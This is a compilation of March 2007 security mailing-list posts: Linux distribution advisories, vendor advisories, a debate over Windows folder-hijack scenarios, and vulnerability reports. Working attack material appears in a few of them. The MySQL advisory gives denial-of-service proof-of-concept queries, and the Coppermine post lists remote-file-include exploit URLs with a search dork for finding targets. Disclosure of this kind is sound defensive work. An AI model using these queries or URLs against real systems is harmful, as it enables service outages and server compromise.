 ___
 
 Package : ekiga
 Date: March 8, 2007
 Affected: 2007.0
 ___
 
 Problem Description:
 
 A format string flaw was discovered in how ekiga processes certain
 messages, which could permit a remote attacker that can connect to
 ekiga to potentially execute arbitrary code with the privileges of
 the user running ekiga. This is similar to the previous
 CVE-2007-1006, but the original evaluation/patches were incomplete.
 
 Updated package have been patched to correct this issue.
 ___

 References:
 
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0999
 ___
 
 Updated Packages:
 
 Mandriva Linux 2007.0:
 f1864ecddf6bd6f89ca97ae2f62e102a  
2007.0/i586/ekiga-2.0.3-1.2mdv2007.0.i586.rpm 
 6553d806ec25e8e7b3bf954d0522f126  2007.0/SRPMS/ekiga-2.0.3-1.2mdv2007.0.src.rpm

 Mandriva Linux 2007.0/X86_64:
 d1044e6da6359f45c05b5b9633eb9b3e  
2007.0/x86_64/ekiga-2.0.3-1.2mdv2007.0.x86_64.rpm 
 6553d806ec25e8e7b3bf954d0522f126  2007.0/SRPMS/ekiga-2.0.3-1.2mdv2007.0.src.rpm
 ___

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 ___

 Type Bits/KeyID Date   User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFF8LmWmqjQ0CJFipgRAoxqAKCGqGz5vPwbGLM8dIhVGu3aTC/0pQCZAZ5t
4tj/XeqT0NKpu3t3MRu8tYs=
=bmdD
-END PGP SIGNATURE-

Re: Word Press Sensitive Directory exposure (SQL)

[Francesco Laurita]

On Thu, 2007-03-08 at 08:20 +, [EMAIL PROTECTED] wrote:
> #Found By: r00t[ati]
> 
> #Web App: Word Press
> 
> #Version(s): unknown
> 
> #Level: low
> 
> #File Name: admin-functions.php
> 
> //SQL EXAMPLE ERROR:
> 
> Fatal error: Call to undefined function __() in 
> /usr/local/www//data/wp-admin/admin-functions.php on line 1593

IMHO quite unuseful report.
No version, no POC..nothing

SecurityFocus is turning seven. What's next? - OFFTOPIC - Please excuse the X-Post

[Alfred Huger]

Warning - This is a message directed to the SecurityFocus community and not
directly related to a running thread on this list - please delete it if you
are not interested in this community administrivia.



 Nearly seven years ago on a long ride home on Interstate 280 in the San
Francisco Bay Area, I decided it was time to leave my job. Not because I
disliked my current job but because it lacked some of the things I've always
loved about the industry. It lacked a broad sense of community and a
coordinated, steady stream of new and important information. This
realization wasn't an indictment of my then employer, I simply came to
recognize that there was an empty space that a company focused strictly on
product solutions was unlikely to fill.

In my mind there was a need to create a new type of security community, one
where information was shared between everyone, not just individuals on
scattered lists and bulletin boards. I knew that the creation of this type
of community would take a fair amount of work and rather than attempting to
do it myself, I enlisted a number of friends who shared the same vision. Our
shared goal was to build to build a community in which everyone could take
part. After a few months of hard work and long hours, SecurityFocus was
born.

Our first order of business was to meet the needs of the community and
towards that we built SecurityFocus.com, with the Bugtraq mailing list as
its centerpiece. When the site went live it originally had a small community
of 30,000 email subscribers and a modest web presence that generated 1500
unique visitors per day. It was from this base that we set out to build a
vital community driven by new security content, dialogue and interaction
between all members of the security community.

Fast-forward seven years and I think I can comfortably say we've done pretty
well. We now exceed 500,000 subscribers to our lists and our web presence
has grown to several million unique visitors a month. SecurityFocus has
grown into the site we had originally envisioned and more. Today, careers
are found, products and ideas are developed from our forum and list
discussions and more importantly, SecurityFocus continues to be the central
location for our community to thrive and grow.

How do we plan to celebrate our seventh anniversary? The same as the
previous six - quietly and with an eye towards the future. After seven
years, the question that comes to my mind is "where do we go from here?" I
think that one of the reasons why the SecurityFocus community has done as
well as it has is because we've solicited feedback on where you felt it
needed to go. On our seventh anniversary, I think it's only fitting that we
continue to come back to you - the community, and ask what we need to do to
continue to make SecurityFocus the place for discussion, innovation and
growth in security.

What are the security needs, services and information that we should be
providing to the community? Your suggestions and opinions have always been
the driving force behind SecurityFocus and on our seventh birthday, I'd like
to invite you to contact me directly with your suggestions. Send me some
email and let's discuss where you think SecurityFocus should be headed.

So, what's next? That's up to you.

Sincerely,

Al Huger 

---

http://www.linkedin.com/in/alhuger

SEC Consult SA-20070309-0 :: MySQL 5 Single Row Subselect Denial of Service

[research]

SEC-CONSULT Security Advisory < 20070309-0>
===
  title: MySQL 5 Single Row Subselect Denial of Service
program: MySQL 5
 vulnerable version: < 5.0.37
 impact: moderate
   homepage: http://www.mysql.com
  found: 2007-02-10
 by: S.Streichbier / SEC-CONSULT / www.sec-consult.com
 B.Mueller / SEC-CONSULT / www.sec-consult.com
 permanent link: http://www.sec-consult.com/284.html
===

Vendor description:
---

MySQL, the most popular Open Source SQL database management system, is
developed, distributed, and supported by MySQL AB. MySQL AB is a
commercial company, founded by the MySQL developers. It is a second
generation Open Source company that unites Open Source values and
methodology with a successful business model.

[Source: http://www.mysql.com]

Vulnerability overview:
---

In order to exploit this vulnerability the attacker needs to execute
select statements on the database (e.g. SQL Injection).

Starting with version 5, MySQL provides access to the database metadata.
When using functions that operate on strings in combination with
subselects on information_schema tables and additional sorting of the
results with the ORDER BY clause, a null-pointer dereferencation takes
place causing a segmentation fault.

This allows an attacker to crash the MySQL database. We have not found
any code execution vector resulting from this bug, though further
research into this and related bugs may provide interesting results.

Vulnerability details:
---

When a subselect in a string function is used,
Item_singlerow_subselect::val_str() is called. As it is not expected
that the result of a single row subselect will be sorted, certain fields
(specifically sort->io_cache) in the allocated struct st_table are not
initalized. Yet, when "ORDER BY" is used in the query, filesort() is run
on the table. The actual segfault occurs in an error handling routine in
filesort():

libmysqld/filesort.cc:

111   FILESORT_INFO table_sort;
(...)
117   memcpy(&table_sort, &table->sort, sizeof(FILESORT_INFO));
120   outfile= table_sort.io_cache;
(..)
269  err:
(..)
276   if (my_b_inited(outfile))

include/my_sys.h:

503 #define my_b_inited(info) (info)->buffer

This leads to a null pointer dereference (EAX+8 or EBX+8 = 0x0008 in
our test installations) crashing mysqld.


proof of concept:
---

Any string function can be used to exploit this vulnerability.

SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY
1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM
information_schema.columns ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY
1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY
1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY
1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY
1),1,'lol');

vulnerable versions:
---

All versions since the introduction of INFORMATION_SCHEMA tables seem to
be vulnerable to the Denial of Service attack. The version 5.0.37 fixes
this security issue.

vendor status:
---
vendor notified: 2007-02-22
vendor response: 2007-02-22
patch available: 2007-03-09
coordinated disclosure: 2007-03-09

~~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Blindengasse 3
A-1080 Wien
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 15
Mail: research at sec-consult dot com
www.sec-consult.com

EOF Stefan Streichsbier / @2007

RE: Re[2]: Microsoft Windows Vista/2003/XP/2000 file management security issues

[M. Burnett]

> But we'll have to agree to disagree. Your security scenarios are just
> bizarre. It's a lot easier to hack people then going through all the
> interations you suggest.

Roger, don't be so hard on 3APA3A for this. You can't judge a vulnerability
based on current scenarios because we really can't begin to imagine how
these things might be exploited in future attacks. For example, the attack
of deleting someone's folder and re-creating it before they set permissions
sounds bizarre until someone makes a tool that does that automatically to
all new folders. It changes everything when even the front desk secretary
can pull off the attack. 

And even if it would be lame for someone to set up a folder where this would
be possible, people will still set up folders where this is possible. It's
important for us to be aware of the risks of these configurations. And you
have to admit, it is pretty amazing he found something we all missed for the
last ten years, despite how simple it is. 
 
Finally, I don't think 3APA3A is over hyping this issue beyond what it
really is. He acknowledges that it isn't really a vulnerability and he's not
submitting press releases to all the mainstream media. He gave Microsoft
fair notice and awaited their decision and he's not screaming that everyone
must abandon Windows. But he is informing the security community of
something that we certainly should be aware of. 


Mark Burnett
http://xato.net

 
> For one, I've been a sys admin for 20 years and NEVER created a private
> folder under a public folder. Not in my Novell days, not in my Windows
> days. The only time I've seen a private folder created under a public
> folder is the \Users folder, and in that case, the users only have Read
> and List access to the parent \Users folder, and then Full Control to
> their own folders.
> 
> I mean let's debate why users get Full Control to their own folders in
> the first place. That's a common scenario (it's on nearly every
> network) and its almost always too many permissions. Do I want my
> regular end-users changing their folder's security permissions? No.
> Should any regular end-user have Full Control to any share? No, for the
> same reason.  These are valid, common, security points that really do
> beg further discussion.
> 
> You're just making up crap up that isn't overly realistic in the world,
> then going further to assume that a bonehead administrator compounds
> the problem by making further insecure decisions.
> 
> You are essentially say, "If you misconfigure your system and make
> further insecure choices, someone can hack you." Duh.
> 
> There's a reason why your "announcements" aren't making the news
> media...because it isn't news.
> 
> With that said, you have something valid to say, but so far it just
> isn't a "security vulnerability" that people need to be aware of.
> 
> You're a smart person, concentrate on issues that will really give us
> bang for the buck discussions and issues.
> 
> Roger
> 
> *
> *Roger A. Grimes, InfoWorld, Security Columnist
> *CPA, CISSP, MCSE: Security (2000/2003/MVP), CEH, yada...yada...
> *email: [EMAIL PROTECTED] or [EMAIL PROTECTED]
> *Author of Professional Windows Desktop and Server Hardening (Wrox)
> *http://www.amazon.com/gp/product/0764599909
> *
> http://winblogs.security-feed.com
> Server Hardening, NTFS
> -Original Message-
> From: 3APA3A [mailto:[EMAIL PROTECTED]
> Sent: Friday, March 09, 2007 7:09 AM
> To: Roger A. Grimes
> Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk
> Subject: Re[2]: Microsoft Windows Vista/2003/XP/2000 file management
> security issues
> 
> Dear Roger A. Grimes,
> 
> --Friday, March 9, 2007, 7:31:54 AM, you wrote to
> [EMAIL PROTECTED]:
> 
> RAG> If Alice deletes Bob's folder (which she could do in some
> scenarios
> RAG> because she has the write/modify permission) and re-creates it,
> she
> RAG> becomes  the Creator Owner and now Bob no longer has the ability
> to
> RAG> set permissions on it.
> 
> As a folder owner Alice can give any permissions to Bob she wants.
> 
> RAG> If I take your strange assumptions, Bob could re-discover the
> newly
> RAG> created folder that Alice made, just like she did (I mean if you
> RAG> make up crap scenarios, why can't I), and do the same trick back
> to her.
> 
> He can, if he knows he must.
> 
> RAG> And Windows does have a umask-like function. It's called Creator
> Owner.
> RAG> It's a well known SID, and the default permissions for it can be
> RAG> set so that any granular permission you want can be set to be
> default.
> 
> I  see  nothing  similar  between Creator Owner and umask. BTW, the
> same article  explains  why  Creator  Owner  is not 100% solution and
> why you should not rely on Creator Owner in case of DFS replication.
> 
> RAG> Vista does have symbolic links, and Windows has supported Junction
> RAG> Poin

RE: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file management security issues

[Laundrup, Jens]

Pardon me for maybe being a little naïve here, but the situation you state: 

"I have conducted code reviews on several commercial apps which use C:\TEMP in 
very insecure ways to store sensitive data."  

That would certainly seem to me that a programmer and the QA process failed.  I 
struggle to see where Windows is to blame for that.  I am no "Windows lover" 
but as a working security professional, I see as much poorly written code 
junking up Linux, Unix, Apples (yes we have them all) as I see with Windows, 
yet in those situations, will you blame the OS there too?  I think it is time 
you take the bias you have, set it aside and look at the statement you made 
which was concise, accurate and factual, then point the blame where it belongs; 
at the code writers whose code you review!.  

Cheers

Jens 


-Original Message-
From: Tim [mailto:[EMAIL PROTECTED] 
Sent: Friday, March 09, 2007 8:20 AM
To: Roger A. Grimes
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk
Subject: Re: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file 
management security issues

Roger,

> But we'll have to agree to disagree. Your security scenarios are just
> bizarre. It's a lot easier to hack people then going through all the
> interations you suggest.
>
> For one, I've been a sys admin for 20 years and NEVER created a
> private folder under a public folder. Not in my Novell days, not in my
> Windows days. The only time I've seen a private folder created under a
> public folder is the \Users folder, and in that case, the users only
> have Read and List access to the parent \Users folder, and then Full
> Control to their own folders.

I find your assessment somewhat short-sighted.  It seems some of these attacks 
would be
possible in those situations.

Sure, Windows is already pathetically insecure against an attackers
already on the local system, but this would be yet another attack
vector.

tim

RE: Microsoft Windows Vista/2003/XP/2000 file management security issues

[M. Burnett]

3APA3A, I just wanted to say that is very clever research you have done.
It's true that this does require some re-thinking of security practices, but
I don't think it's accurate to say it's impossible to secure a private
folder in a public one--I believe there is a way to do it securely.

There are three basic attacks you described:
1. Attacker deletes a users' new folder then immediately re-creates it,
establishing ownership of the folder
2. Attacker predicts filename, creates the file, then keeps it open for all
access, retaining rights on the file
3. Attacker creates and deletes a file but keeps it open, denying any other
access to that file.

The last two attacks could be prevented by creating new files in a private
folder that prevents others from creating files. However, item 1 could
compromise the security of that folder when it is initially created. To
prevent that situation you would need to make sure that, within a public
directory, only the CREATOR OWNER can delete a folder, which I believe is
the default setting. 

But, as you noticed, others can still delete that folder. There is a quirky
thing in NTFS that allows users to delete subfolders and files without even
having delete permissions on those files (see
http://xato.net/bl/2007/01/04/pointless-permissions/). I think that if you
set permissions on a folder that prevented users from deleting children, and
only allowed CREATOR OWNER to delete new folders, when a user creates a new
folder it will be secure, therefore protecting you from 2 and 3.

I haven't fully tested this to verify it, but I believe this would prevent
all the scenarios you described, although a user could still prevent the
initial folder creation if they could predict the filename.

Nevertheless, these are still important issues that illustrate some of the
confusion that the NTFS quirkiness leads to. 



Mark Burnett
http://xato.net



-Original Message-
From: 3APA3A [mailto:[EMAIL PROTECTED] 
Sent: Thursday, March 08, 2007 12:59 PM 
Subject: Microsoft Windows Vista/2003/XP/2000 file management security
issues
To: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk


This   is   an   article   I   promised   to   publish   after  Windows
ReadDirectoryChangesW  (CVE-2007-0843)  [1] issue. It should explain why
you must never place secure data inside insecure directory.



Title: Microsoft Windows Vista/2003/XP/2000 file management security issues
Author: 3APA3A, http://securityvulns.com/
Vendor: Microsoft (and potentially another vendors)
Products:  Microsoft  Windows Vista/2003/XP/2000, Microsoft resource kit
   for Windows 2000 and different utilities.
Access Vector: Local
Type: multiple/complex (weak design, insecure file operations, etc)
Original advisory: http://securityvulns.com/advisories/winfiles.asp
Securityvulns.com news:
http://security.nnov.ru/news/Microsoft/Windows/files.html

0. Intro

This  article contains a set of attack scenarios to demonstrate security
weakness in few very common Windows management practices. Neither of the
problem  explained  is critical, yet combined together they should force
you   to   review   your   security   practices.   I   can't   even  say
"vulnerabilities"   because   there   is   no  something  you  can  call
"vulnerability". It's just something you believe is secure and it's not.

1.1 Problem: inability to create secured file / folder in public one.
Attack: folder hijack attack

First,  it's simply impossible with standard Windows interface to create
something secured in insecure folder.

 Scenario  1.1:

 Bob  wishes  to  create "Bob private data" folder in "Public" folder to
 place  few private files. "Public" has at least "Write" permissions for
 "User" group. Bob:

 I   Creates "Bob private data" folder
 II  Sets permission for folder to only allow access to folder himself
 III Copies private files into folder

  Alice wants to get access to folder Bob created. She

 Ia  Immediately  after  folder  is  created,  deletes "Bob private
 data"  folder  and creates "Bob private data" folder again (or
 simply  takes  ownership  under  "Bob  private data" folder if
 permissions allow). It makes Alice folder owner.
 IIa Immediately  after  Bob  sets permissions, she grants herself
 full control under folder. She can do it as a folder owner.
 IIIa  Reads  Bob's  private  files,  because  files permissions are
 inherited from folder

  Alice   can  use  "Spydir"  (http://securityvulns.com/soft/)  tool  to
  monitor  files  access  and automate this process. As you can see, [1]
  elevates this problem significantly.
 
  This   is  not  new  attack.  Unix  has  "umask"  command  to  protect
  administrators and users. Currently, Windows has nothing similar.

  CreateFile() API supports setting file ACL on file creation (just like
  open()  allows  to set mode on POSIX systems). ACL can be securely set
  only  on  newly  created  files.  Th

Word Press Sensitive Directory exposure (SQL)

[r00t2000]

#Found By: r00t[ati]

#Web App: Word Press

#Version(s): unknown

#Level: low

#File Name: admin-functions.php

//SQL EXAMPLE ERROR:

Fatal error: Call to undefined function __() in 
/usr/local/www//data/wp-admin/admin-functions.php on line 1593


Thanks,

r00t

[CAID 35145]: CA eTrust Admin Privilege Escalation Vulnerability

[Williams, James K]

Title: [CAID 35145]: CA eTrust Admin Privilege Escalation
Vulnerability

CA Vuln ID (CAID): 35145

CA Advisory Date: 2007-03-08

Impact: Attackers can gain escalated privileges.

Summary: The CA eTrust Admin GINA component contains a privilege
escalation vulnerability within the reset password interface.

Mitigating Factors: This vulnerability is exploitable only 
through physical interactive access or through Remote Desktop.

Severity: CA has given this vulnerability a Medium risk rating.

Affected Products:
eTrust Admin 8.1 SP2 (8.1.2)
eTrust Admin 8.1 SP1 (8.1.1)
eTrust Admin 8.1 (8.1.0)

Affected Platforms:
Windows

Status and Recommendation:
CA has issued an update to correct the vulnerability. Two update
options are available for CA eTrust Admin 8.1 SP2 (8.1.2), 
8.1 SP1 (8.1.1), 8.1 (8.1.0):
1. Uninstall GINA and install 8.1 SP2 CR6 or later.
Or
2. Manually replace the affected cube.exe executable with the 
fixed cube.exe executable from the 8.1 SP2 CR6 Manual Updates zip 
file. The fixed cube.exe file has a date of February 11, 2007 and 
a file size of 53,248 bytes.
Both updates can be found at the eTrust Admin Solutions and 
Patches page:
http://supportconnectw.ca.com/public/etrust/etrustadmin-dmo/downloads/etrustadmin-updates.asp
Workaround:
If patch application is not feasible at this time, ensure that 
Remote Desktop is disabled and restrict physical host access to 
reduce exposure.

How to determine if the installation is affected:
1. Using Windows Explorer, locate the file "cube.exe". By default, 
the file is located in the 
"C:\Program Files\CA\eTrust Admin GINA Option" directory.
2. Right click on the file and select Properties.
3. Select the General tab.
The installation is vulnerable if the creation date of cube.exe is
earlier than February 11, 2007.

References (URLs may wrap):
CA SupportConnect:
http://supportconnect.ca.com/
CA SupportConnect security notice for this vulnerability:
Security Notice for CA eTrust Admin GINA
http://supportconnectw.ca.com/public/etrust/etrustadmin-dmo/infodocs/etrust_secnot_gina.asp
CA Security Advisor posting:
CA eTrust Admin Privilege Escalation Vulnerability
http://www3.ca.com/securityadvisor/newsinfo/collateral.aspx?cid=101038
CAID: 35145
CAID advisory link:
http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=35145
CVE Reference: CVE-2007-1345
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1345
OSVDB Reference: OSVDB ID: 32722
http://osvdb.org/32722

Changelog for this advisory:
v1.0 - Initial Release

Customers who require additional information should contact CA
Technical Support at http://supportconnect.ca.com.

For technical questions or comments related to this advisory, 
please send email to vuln AT ca DOT com.

If you discover a vulnerability in CA products, please report 
your findings to vuln AT ca DOT com, or utilize our "Submit a
Vulnerability" form.
URL: http://www3.ca.com/securityadvisor/vulninfo/submit.aspx


Regards,
Ken Williams ; 0xE2941985
Director, CA Vulnerability Research

CA, One CA Plaza. Islandia, NY 11749

Contact http://www3.ca.com/contact/
Legal Notice http://www3.ca.com/legal/
Privacy Policy http://www3.ca.com/privacy/
Copyright (c) 2007 CA. All rights reserved.

Sql injection in WordPress 2.1.2

[Omid]

Hello,

There is a sql injection in WordPress 2.1.2 (and maybe others) .
A user with "add link" permission (Editor/Administrator) can do this :

The '$new_cat' variable in "wp_set_link_cats()" function is not checked
properly before be used in the sql query :

File /wp-admin/admin-db.php, Line 472 :

$wpdb->query("
INSERT INTO $wpdb->link2cat (link_id, 
category_id)
VALUES ($link_ID, $new_cat)");


- Omid

Remote File Include In Script Coppermine Photo Gallery

[RaeD Hasadya]

By Hasadya Raed
Contact : [EMAIL PROTECTED]

Script : Coppermine Photo Gallery
Expl : Remote Include File 
Dork : "Copyright (c) 2003-2006 Coppermine Dev Team"

B.Files :
image_processor.php
functions.php
picmgmt.inc.php
plugin_api.inc.php
index.php

Exploits :

http://www.Victim.Com/Script_Path/image_processor.php?cmd=[Shell-Attack]
http://www.Victim.Com/Script_Path/include/functions.php?path=[Shell-Attack]
http://www.Victim.Com/Script_Path/include/picmgmt.inc.php?cmd=[Shell-Attack]
http://www.Victim.Com/Script_Path/include/plugin_api.inc.php?path=[Shell-Attack]
http://www.Victim.Com/Script_Path/index.php?path=[Shell-Attack]
http://www.Victim.Com/Script_Path/pluginmgr.php?path=[Shell-Attack]



By Hasadya Raed



-- 
___
Get your free email from http://bsdmail.com

Re: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file management security issues

[KJKHyperion]

3APA3A wrote:

2. Conclusion:

[...]

hahaha. Seriously, the Windows security model is great and everything, 
but it has never been used consistently, _never_. It's an uphill battle 
Take privileges for example: 64-bit namespace and barely above a dozen 
have been defined; two were overloaded and one recycled; and still no 
way to create arbitrary privileges. So to implement capability checks 
you perform group membership checks or make creative use of ACLs. Or 
take default device security. Or how sandboxing inexplicably breaks 
SSPI, making it close to useless. Or the countless hard-coded ACLs that 
make the complexity of the whole thing so unjustified you wonder why 
don't they just go with an "is administrator" bit. Or the total coolness 
that is Safer, truly a few hooks short of a filesystem firewall, and how 
criminally underused it is


Then there's the compatibility issues.

PGP Desktop breaks sandboxing rather spectacularly (silent crashes in 
all sandboxed applications) because when its hook cannot open the shared 
memory object (created with whatever default ACL was specified for the 
PGPTray.exe process) it just tries to access the NULL pointer returned.


Sandboxing breaks the language bar - shared memory woes again. It has 
the common decency of not crashing or worse, it just sorta limps along a 
little. And the funny thing is, there _is_ a standard, documented way to 
perform access checks compatible with GUI security boundaries (it's not 
explicitely documented as such, but hey, we all come with a brain): all 
processes in interactive sessions receive a special group ("logon id") 
whose membership grants access to the display. It should be a _given_ 
for GUI hooks to use this mechanism, more so for GUI hooks developed by 
Microsoft - but the language bar developers amply proved to be a bunch 
of fucking cowboys anyway, and to Microsoft's credit they got it totally 
wrong in the Windows 2000 version of runas, but fixed it for Windows XP


A long time ago I tried to advocate making all files in one's own user 
profile non-executable by default, as a basic protection measure, and 
like all the ideas I try to push, I dogfooded it extensively. It subtly 
breaks a lot of innocent programs.


Other than completely isolating users, you cannot get any realistic form 
of security. Isolating users from each other and from administrators is 
the only scenario that has consistently been implemented and recognized. 
The rest is a wasteland of abandoned technology and wishful thinking


The problem you describe? it has a 1-bit fix, SE_DACL_PROTECTED. All 
files would be created by default with full access to owner and SYSTEM. 
You can have fat lots of fun trying to figure out what will break and 
how. A real solution would involve new DACL/SACL entries for directories 
that enforce "acceptable" security descriptors on the files contained 
therein. The same could work in the default DACL/SACL for tokens, 
enforcing policies for *all* objects created by that subject (yes, I put 
way too much thought in this. I am just gay for the Windows security 
model. You can't not love a model where a subject might not belong to 
the "world" group)


(ReadDirectoryChangesW on the other hand *is* a vulnerability, as it 
gives traverse *and* list acces but only requests traverse)

Re: [Full-disclosure] Microsoft Windows Vista/2003/XP/2000 file management security issues

[Tim]

Roger,

> But we'll have to agree to disagree. Your security scenarios are just
> bizarre. It's a lot easier to hack people then going through all the
> interations you suggest.
>
> For one, I've been a sys admin for 20 years and NEVER created a
> private folder under a public folder. Not in my Novell days, not in my
> Windows days. The only time I've seen a private folder created under a
> public folder is the \Users folder, and in that case, the users only
> have Read and List access to the parent \Users folder, and then Full
> Control to their own folders.

I find your assessment somewhat short-sighted.  I have conducted code
reviews on several commercial apps which use C:\TEMP in very insecure
ways to store sensitive data.  It seems some of these attacks would be
possible in those situations.

Sure, Windows is already pathetically insecure against an attackers
already on the local system, but this would be yet another attack
vector.

tim

[ MDKSA-2007:059 ] - Updated gnupg packages provide enhanced forgery detection

[security]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___
 
 Mandriva Linux Security Advisory MDKSA-2007:059
 http://www.mandriva.com/security/
 ___
 
 Package : gnupg
 Date: March 8, 2007
 Affected: 2006.0, 2007.0, Corporate 3.0, Corporate 4.0,
   Multi Network Firewall 2.0
 ___
 
 Problem Description:
 
 GnuPG prior to 1.4.7 and GPGME prior to 1.1.4, when run from the
 command
 line, did not visually distinguish signed and unsigned portions of
 OpenPGP messages with multiple components.  This could allow a remote
 attacker to forge the contents of an email message without detection.
 
 GnuPG 1.4.7 is being provided with this update and GPGME has been
 patched on Mandriva 2007.0 to provide better visual notification on
 these types of forgeries.
 ___

 References:
 
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1263
 ___
 
 Updated Packages:
 
 Mandriva Linux 2006.0:
 ec697754fca080fa53c6c486cd91ba8c  
2006.0/i586/gnupg-1.4.7-0.2.20060mdk.i586.rpm 
 f30ab12655598264c10cee92ed76c951  2006.0/SRPMS/gnupg-1.4.7-0.2.20060mdk.src.rpm

 Mandriva Linux 2006.0/X86_64:
 845bfd1f359b7866e73ab2eb8b30b8fe  
2006.0/x86_64/gnupg-1.4.7-0.2.20060mdk.x86_64.rpm 
 f30ab12655598264c10cee92ed76c951  2006.0/SRPMS/gnupg-1.4.7-0.2.20060mdk.src.rpm

 Mandriva Linux 2007.0:
 c1b40e8866482c368aab5df228093ab3  2007.0/i586/gnupg-1.4.7-0.2mdv2007.0.i586.rpm
 9dbf1a7a48aecb2ece048b47f4c7ade9  
2007.0/i586/libgpgme11-1.1.2-2.1mdv2007.0.i586.rpm
 3809f32ed3708606e6318fb7feed230d  
2007.0/i586/libgpgme11-devel-1.1.2-2.1mdv2007.0.i586.rpm 
 62d991ccd15ca77ed37ccd4ca1bedba7  2007.0/SRPMS/gnupg-1.4.7-0.2mdv2007.0.src.rpm
 31357e977acd83d777df2d77c22094f6  2007.0/SRPMS/gpgme-1.1.2-2.1mdv2007.0.src.rpm

 Mandriva Linux 2007.0/X86_64:
 d5339dd2bc4146dd18c2ab3b4eca028d  
2007.0/x86_64/gnupg-1.4.7-0.2mdv2007.0.x86_64.rpm
 608bd0a86d6f83927466f23e7d73fa8d  
2007.0/x86_64/lib64gpgme11-1.1.2-2.1mdv2007.0.x86_64.rpm
 915d2d203fa41ce12bc661d1a89d563b  
2007.0/x86_64/lib64gpgme11-devel-1.1.2-2.1mdv2007.0.x86_64.rpm 
 62d991ccd15ca77ed37ccd4ca1bedba7  2007.0/SRPMS/gnupg-1.4.7-0.2mdv2007.0.src.rpm
 31357e977acd83d777df2d77c22094f6  2007.0/SRPMS/gpgme-1.1.2-2.1mdv2007.0.src.rpm

 Corporate 3.0:
 36afcf2ffb12348fccdfba01b485d7fc  
corporate/3.0/i586/gnupg-1.4.7-0.2.C30mdk.i586.rpm 
 ec3c9d7bf56e941e2f92a92caa8ac812  
corporate/3.0/SRPMS/gnupg-1.4.7-0.2.C30mdk.src.rpm

 Corporate 3.0/X86_64:
 250e2ef0d26f6d51aa175e32c04e29d0  
corporate/3.0/x86_64/gnupg-1.4.7-0.2.C30mdk.x86_64.rpm 
 ec3c9d7bf56e941e2f92a92caa8ac812  
corporate/3.0/SRPMS/gnupg-1.4.7-0.2.C30mdk.src.rpm

 Corporate 4.0:
 e39b79ee6122b17eaefa4abb7eec8d05  
corporate/4.0/i586/gnupg-1.4.7-0.2.20060mlcs4.i586.rpm 
 16926c5d72457c65d89124c1ebd7d0b9  
corporate/4.0/SRPMS/gnupg-1.4.7-0.2.20060mlcs4.src.rpm

 Corporate 4.0/X86_64:
 810b054fed4d7c0b2c8605bb7c3efdca  
corporate/4.0/x86_64/gnupg-1.4.7-0.2.20060mlcs4.x86_64.rpm 
 16926c5d72457c65d89124c1ebd7d0b9  
corporate/4.0/SRPMS/gnupg-1.4.7-0.2.20060mlcs4.src.rpm

 Multi Network Firewall 2.0:
 014a4338ad09dca79149509a1a0a2050  mnf/2.0/i586/gnupg-1.4.7-0.3.M20mdk.i586.rpm 
 d513a1498ccd2ee5661fb6a9e80c5230  mnf/2.0/SRPMS/gnupg-1.4.7-0.3.M20mdk.src.rpm
 ___

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 ___

 Type Bits/KeyID Date   User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.6 (GNU/Linux)

iD8DBQFF8LvpmqjQ0CJFipgRAk5yAJ4mihFJrRV8cInt9tK3IOogC6wB3gCgjW0c
eMLhgVvm4msQrd936ApOrYE=
=vufo
-END PGP SIGNATURE-

SyScan'07 - Call for Paper - NEW UPDATES

[[EMAIL PROTECTED]]

dear all

here are some updates to the SyScan'07 call for paper:

1. new topic.
The following topics will be included:
a. Web 2.0 - web services, PHP, .Net, web applications

2. Speakers' Privileges.
a. Speakers at SyScan'07 with a brand new presentation will receive 
S$500 cash.
b. Selected speakers will get a chance to present at conferences either 
in Korea or India.


**

*CALL FOR PAPER/TRAINING*

*ABOUT SYSCAN'07*

The Symposium on Security for Asia Network (SyScan) aims to be a very 
different security conference from the rest of the security conferences 
that the information security community in Asia has come to be so 
familiar and frustrated with. SyScan intends to be a non-product, 
non-vendor biased security conference. It is the aspiration of SyScan to 
congregate, in Singapore, the best security experts in their various 
fields, to share their research, discovery and experience with all 
security enthusiasts in Asia.


Besides main the conference, there will also be specialized security 
training courses in SyScan'07. These classes will be held before the 
main conference.


SyScan'07 will be held in Singapore over at the Swissotel Merchant Court 
Hotel. The main conference will be held on 5th and 6th of July and the 
training will be held on 3^rd and 4^th of July, 2007.


*CFP Committee*
The Call for Paper committee for SyScan'07 comprises of the following 
